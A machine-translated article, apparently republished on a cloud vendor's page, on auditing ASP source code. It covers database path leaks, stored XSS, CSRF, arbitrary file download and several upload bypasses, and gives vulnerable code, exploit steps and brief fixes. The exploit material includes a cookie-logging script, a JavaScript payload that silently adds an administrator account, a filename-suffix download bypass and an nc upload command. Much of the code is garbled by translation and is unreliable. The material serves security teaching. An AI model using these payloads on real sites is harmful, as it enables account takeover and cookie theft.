ASP for Web source code security auditing (part I)

Source: Internet
Author: User
Tags mime file

0x01 ASP introduction:

ASP is a server-side scripting environment that can be used to create and run dynamic Web pages or Web applications. ASP Web pages can contain HTML tags, common text, script commands, and COM components. Using ASP, you can add interactive content (such as online forms) to a webpage, or create a web application that uses an HTML webpage as the user interface.

0x02 ASP Vulnerability introduction:

1. DataBase Path Leak)
Overview: Database path leakage is mainly manifested in the WEB built by ASP + Access. When an attacker submits % 5c, IIS will cause a parsing error, resulting in the output of the real database path, % 5c is the hexadecimal code of \, that is, another representation.
Vulnerability principle: When submitting data, IE will automatically convert % 5c to/to get the same address. A database connection file is used in asp websites. The name is conn. asp.
Vulnerability code: Here I use the dynamic article system as an example. The Code is as follows:

<% Dim conndim connstrdim dbdb = "database/adsfkldfogowerjnokfdslwejhdfsjhk. mdb "'database file location Set conn = Server. createObject ("ADODB. connection ") connstr =" Provider = Microsoft. jet. OLEDB.4.0; Data Source = "& Server. mapPath (db) conn. open connstr %>
Vulnerability exploits: when accessing http://www.aspmps.com/cn%5cconn.asp IIS, an error is reported to output the absolute database path to the client, as shown in

When the database path is leaked, attackers can download the database to the local computer and find the background Administrator account and password in the table, so that they can easily access the background management of the website, this vulnerability is only applicable to ACCESS databases and does not affect SQL server databases. The brute-force database of the power system has been suffering for a long time. Last year, 360 companies released an announcement to this end. Multiple media outlets have reposted the link: http://tech.163.com/digi/12/0312/15/7sdhi0lj00163he0.html.
Vulnerability repair: There are two methods to fix this vulnerability. The first method is in conn. before the open connstr code, add On Error Resume Next. In the second method, select "Send the following text Error message to the client" in the IIS server configuration option ". See figure 2.

2. Cross-Site Scripting)
Overview: Cross-site scripting (XSS) is a computer security vulnerability that often appears in Web applications, it allows malicious Web users to implant code into pages provided to other users. For example, pages that contain HTML code and client scripts. Is not the abbreviation of Cascading Style Sheets (CSS), usually cross-site scripting is abbreviated as XSS. Attackers can bypass access control using the XSS vulnerability, such as the same origin policy or initiate phishing attacks, webpage Trojans, And cookie Theft. Xss attacks can be divided into two types: reflection attacks and storage attacks. Reflection attacks have little to do with source code auditing. I will skip this section to focus on storage attacks.
Vulnerability principle: storage-type attacks implant malicious code into the database through interactive pages. When the Administrator accesses a page that calls malicious code, the attack is generated. For example, in a system message feedback column, the message content form has not been safely processed, and the client can submit malicious code at will, resulting in XSS Cross-Site vulnerability.
Vulnerability code:

<% Content = "" For I = 1 To Request. form ("Content "). count Content = Content & Request. form ("Content") (I) Next ............ // Partial code rs ("Guest_ZIP") = HTMLEncode (Guest_ZIP) rs ("Guest_TEL") = HTMLEncode (Guest_TEL) rs ("Guest_FAX") = HTMLEncode (Guest_FAX) rs ("Content") = Content rs. update %>

In the above Code, the content value obtained by the Request. Form method has not been safely processed, resulting in XSS storage-type attacks.
Vulnerability exploitation:

 

After the attacker enters the above Code in the message content box, when the background administrator checks the message, the cross-site attack takes effect. At this time, the Administrator's COOKIES are sent to the xxx domain name for saving. Cookies. asp file function is used to generate a file to save the Administrator's COOKIES. The Code is as follows:

 

<%c=Request.ServerVariables("QUERY_STRING")testfile=Server.MapPath("cookies.txt")set fs=server.CreateObject("scripting.filesystemobject")set thisfile=fs.OpenTextFile(testfile,8,True,0)thisfile.Writeline(""&c& "")thisfile.closeset fs = nothing%>


Vulnerability fix: encode the <'"> tag in HTML format.
3. Cross-Site Request Forgery)
Overview: CSRF is the abbreviation of Cross Site Request Forgery. It refers to the meaning of Cross-Site Request Forgery. It is usually used for this type of vulnerability on a WEB Site, that is, on a webpage of a malicious Site, urge visitors to request a URL of your website to change the server data.
Vulnerability principle: Combined with cross-site vulnerabilities, the JS script code can be used for administrator identity, but such actions are not Administrator requests.
Vulnerability code: this system has a security filtering function HTMLEncode. The Code is as follows:
 
Public Function HTMLEncode(str)
If Not IsNull (str) Then str = Replace (str, Chr (38), "&") str = Replace (str, "<", "<") str = Replace (str, ">", ">") str = Replace (str, Chr (9), "") str = Replace (str, Chr (32 ), "") str = Replace (str, Chr (34), ") str = Replace (str, Chr (39)," '") str = Replace (str, chr (13) & Chr (10), "") str = Replace (str, Chr (10), "") str = Replace (str, Chr (13 ), "") HTMLEncode = str End If End Function // The following are critical vulnerabilities Click Content = "" For I = 1 To Request. Form ("Content"). Count Content = Content & Request. Form ("Content") (I) Next ............ // Partial code rs ("Guest_ZIP") = HTMLEncode (Guest_ZIP) rs ("Guest_TEL") = HTMLEncode (Guest_TEL) rs ("Guest_FAX") = HTMLEncode (Guest_FAX) rs ("Content") = Content rs. update
 

In the above Code, the Content Variable obtained by Request. Form is not filtered by HTMLEncode like the Guest_FAX variable.

Vulnerability exploitation: exploitation method

 

The Xss. js script is used to add a new Administrator topsec. The Code is as follows:
var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();if(request.overrideMimeType) {request.overrideMimeType('text/xml');}} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);} catch(e) {}}}xmlhttp=request;add_admin();function add_admin(){var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";   xmlhttp.open("POST", url, true);xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");xmlhttp.setRequestHeader("Content-length", params.length);xmlhttp.setRequestHeader("Connection", "close");xmlhttp.send(params);}

After a piece of code is implanted, the vulnerability will be triggered when the Administrator enters the background to view the message. The system will automatically add the Administrator with the topsec account and password 123456 to us.
Vulnerability fix: Add token Authentication To fix cross-site vulnerabilities at the front end.

4. Arbitrary File Download)
Overview: If the stream mode download module exists in the system, and the address of the corresponding downloaded file has not been filtered for security, any security risks that can be downloaded may occur, this problem is even more serious on windows.
Vulnerability principle: Windows system supports ". asp + space "and". asp +. "is equivalent to". asp files. Any files can be downloaded if the download module has not been verified.
Vulnerability Code: The following describes the typical Download Vulnerability source code of the system. The key source code is as follows:
<% Dim StreamDim ContentsDim FileNameDim TrueFileNameDim FileExtDim SavePathConst adTypeBinary = 1 FileName = Request. QueryString ("FileName") If FileName = "" Then Response. Write "is invalid! "Response. endEnd ifFileExt = Mid (FileName, limit Rev (FileName ,". ") + 1) Select Case UCase (FileExt) Case" ASP "," ASA "," ASPX "," ASAX "," MDB "Response. write "invalid operation! "Response. endEnd SelectResponse. clearif lcase (right (FileName, 3) = "gif" or lcase (right (FileName, 3) = "jpg" or lcase (right (FileName, 3 )) = "png" then Response. contentType = "image/*" 'does not display the Download Dialog Box else Response. contentType = "application/ms-download" end ifResponse. addHeader "content-disposition", "attachment; filename =" & GetFileName (Request. queryString ("FileName") Set Stream = server. createObject ("ADODB. stream ") Stream. type = adTypeBinaryStream. openSavePath = fileuploadpath' TrueFileName = SavePath & FileNameStream. loadFromFile Server. mapPath (TrueFileName) While Not Stream. EOS Response. binaryWrite Stream. read (1024*64) WendStream. closeSet Stream = NothingResponse. flushResponse. end %>

The bold part of the above Code is the key code for vulnerability formation. First, the program passes the Request. the QueryString ("FileName") method specifies any file name. Although the program judges the file extension name below, it does not perform security processing on the extension name, as a result, the client can add URL encoding spaces after the suffix to bypass program verification and download the file.
Vulnerability exploitation: the exploitation method is as follows:

 

As shown in the preceding figure, when an attacker enters "down. asp?" in the address bar of a browser? Filename =. /cn/index. asp % 20 ", % 20 is the URL-encoded space, and % 2E is the URL-encoded space. ". After submission, Thunder will prompt you to download the file.
Vulnerability repair: the repair method is also very simple. before downloading a file, it is best to bring it into the database for query. If yes, download the file. There is also a way to use regular expressions to limit.
5. Upload without components (File Upload)
Overview: the upload vulnerability is especially eye-catching in ASP program vulnerabilities, and various exploitation methods emerge one after another. The following describes the three most common upload vulnerabilities, namely, the cut-off Upload Vulnerability ", "variable inheritance Upload Vulnerability" and "not rigorous verification Upload Vulnerability ".
Vulnerability principle: There are hexadecimal truncation, variable logic inheritance, not rigorous suffix name verification, and some do not verify suffix upload.
Vulnerability code: 1. the first choice is to cut the upload. As the popular ASP forum, the online forum also has various vulnerabilities. The above vulnerabilities are the most representative. Next we will analyze them using the well-known program mobile network. The vulnerability occurs in Upfile. asp. The core code is as follows:
<% Dim upload, file, formName, formPath, iCount, filename, fileExtset upload = new upload_5xSoftformPath = upload. form ("filepath") '// vulnerability key point if right (formPath, 1) <> "/" then formPath = formPath & "/" for each formName in upload. objFileset file = upload. file (formName) fileExt = lcase (right (file. filename, 4) '// extract the last four digits from the file name and convert them to lowercase characters. If fileEXT <> ". gif "and fileEXT <> ". jpg "and fileEXT <> ". zip "and fileEXT <> ". rar "and fileEXT <> ". swf "thenresponse. incorrect write "File Format [re-upload]" response. endend ifrandomizeranNum = int (90000 * rnd) + 10000 filename = formPath & year (now) & month (now) & day (now) & hour (now) & minute (now) & second (now) & ranNum & fileExt '// The vulnerability key filename consists of the submitted file path, random file names, years, months, and days, And the converted extension. fileSize> 0 thenfile. saveAs Server. mappath (FileName) response. wri Te "uploaded! "End ifset file = nothing %>

Although the above Code judges the type of the uploaded file, it adds the formPath value to the final storage, and the value submitted from the client allows attackers to forge a packet. The client submits the following code:
After capturing normal data packets, the attacker modifies formPath = "../images/a. asp" + space, and then changes the space to 00 in C32ASM hexadecimal mode. Because 00 is the Terminator, after the program detects 00, the upload is deemed to have ended. As shown in

 

After the modification is saved, submit it using NC. Enter nc www.aspmps.com 80 <1.txt under CMD to upload the file successfully. As shown in

 

 

The solution to this vulnerability is actually very simple. You only need to check whether the File Upload name has chr (0). If yes, Replace it with the Replace function.
2. Variable inheritance Upload Vulnerability: Variable inheritance is caused by variable logic disorder in some upload programs when multiple files are uploaded. The following describes how to use the well-known Free Power Article system for analysis. Attackers can create an HTML form to upload two files at the same time. Select a normal rarfile In the first FILE control and select a Cer FILE in the second FILE control, write an ASP trojan in this cer file. Modify the value of Action in Form to submit the statement. For example

 

The core code of Upfile_Soft.asp vulnerability is as follows:

<% Const UpFileType = "rar | zip | exe | mpg | rm | wav | mid" dim upload, oFile, formName, SavePath, filename, fileExt, oFileSizedim EnableUploaddim arrUpFileTypedim rannumdimsg, foundErrmsg = "" FoundErr = falseEnableUpload = falsefor each formName in upload. file' list all uploaded files. set ofile = upload. file (formName) 'generates a file object oFileSize = ofile. filesize if oFileSize <100 then = "" msg = "select the file you want to upload first! "Founderr =" True "elseif =" "ofilesize =" "> (MaxFileSize * 1024) then msg =" the file size has exceeded the limit and the maximum file size can only be uploaded "& CStr (MaxFileSize) & "K file! "FoundErr = true end if fileExt = lcase (ofile. fileExt) arrUpFileType = split (UpFileType, "|") for I = 0 to ubound (arrUpFileType) if fileEXT = trim (arrUpFileType (I )) then EnableUpload = true 'First, the uploaded file must meet the rar suffix, enableUpload = true exit for end if next fileEXT = "asp" or fileEXT = "asa" or fileEXT = "aspx" then EnableUpload = false' check whether there are three types of data transfer prohibited, because it does not belong to, the variable EnableUpload is still true. End if EnableUpload = false then' third off if EnableUpload = false, then FoundErr = true, and the previously passed EnableUpload = true, then FoundErr is still false before entering the first FOR loop. Msg = "this file type cannot be uploaded! \ N only supports uploading these file types: "& UpFileType FoundErr = true end ifif FoundErr <> true then' fourth off if FoundErr <> true, let's take a look at the value of FoundErr passed from Level 3. It is false and can be uploaded. FileName = SavePath & ofile. fileName If IsObjInstalled ("Scripting. fileSystemObject ") Then dim fso set fso = CreateObject (" Scripting. fileSystemObject ") if fso. fileExists (Server. mappath (FileName) then randomize ranNum = int (900 * rnd) + 100 filename = SavePath & year (now) & month (now) & day (now) & hour (now) & minute (now) & second (now) & ranNum &". "& fileExt end if set fso = nothing end if ofile. saveToFile Server. mappath (FileName) %>


The above Code adds four key level comments. Since the cer starts to upload and verify, FoundErr has never been displayed. What is the value of FoundErr? It is also the uploaded rar value false, and the fourth level of verification is that as long as the FoundErr is not true, It can be uploaded. Therefore, the cer file passes through layers of checkpoints and enters the server. It is surprising that in the latest research, even if the above vulnerability is fixed and the server operating system Windows is used, attackers can directly upload a trojan file with a suffix of 1.asp;. mpg. As shown in

 


3. Not rigorous verification Upload Vulnerability: This suffix verification vulnerability exists in many cases, and the dynamic upload vulnerability is representative. Next we will analyze the upload module of the dynamic Shopping System. The exploitation of this upload vulnerability requires attackers to enter the background through some means and configure the extension name "cer | ccerer" allowed for the file to be uploaded ". As shown in

 

Then, you can use the background image upload function to directly upload a trojan file with the suffix ccerer. The core code that generates this vulnerability is as follows:

<% Private Function FixName (Byval UpFileExt) If IsEmpty (UpFileExt) Then Exit Function FixName = Lcase (UpFileExt) FixName = Replace (FixName, Chr (0 ),"") fixName = Replace (FixName ,". "," ") FixName = Replace (FixName," '"," ") FixName = Replace (FixName," asp "," ") FixName = Replace (FixName, "asa", "") FixName = Replace (FixName, "aspx", "") FixName = Replace (FixName, "cer", "") 'first check, after the ccerer is changed to cer, FixName = Replace (FixName, "cdx", "") FixName = Replace (FixName, "htr", "") FixName = Replace (FixName, "shtml", "") End FunctionPrivate Function CheckFileExt (FileExt) Dim Forumupload, I CheckFileExt = False If FileExt = "" or IsEmpty (FileExt) then CheckFileExt = False Exit Function End If FileExt = "asp" or FileExt = "asa" or FileExt = "aspx" or FileExt = "shtml" then' the second cer is not being detected within the scope, the CheckFileExt = False Exit Function End If Forumupload = Split (InceptFile, ",") For I = 0 To ubound (Forumupload) If FileExt = Trim (Forumupload (I) is successfully bypassed )) then' the third-level cer suffix is successfully matched in the database variable CheckFileExt = True Exit Function Else CheckFileExt = False End If NextEnd Function %>

The suffix submitted by the attacker is ccerer. After FixName = Replace (FixName, "cer", ""), the cer in the ccerer has been filtered out, but changed to the cer suffix, in this way, the program passes the first check. As shown in

Next, the program will continue to check whether the suffix name is the same as the specified type name. If it is the same, it will be an invalid file. Unfortunately, the program does not check the cer file, so that the cer file will pass the second off. Next, the program checks whether the file suffix is in the background configuration file. If the matching is successful, the file will be uploaded. As shown in

In this way, the attacker's cer file is successfully uploaded to the server. Because the extension IIS ing in IIS is equivalent to asp file processing, the upload vulnerability is caused. As shown in

Of course, there are some other types of vulnerabilities, such as "uploading arbitrary files", "Breaking Through MIME file header verification and uploading", and "Javascript local verification and uploading, in general, these three upload vulnerabilities are representative.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.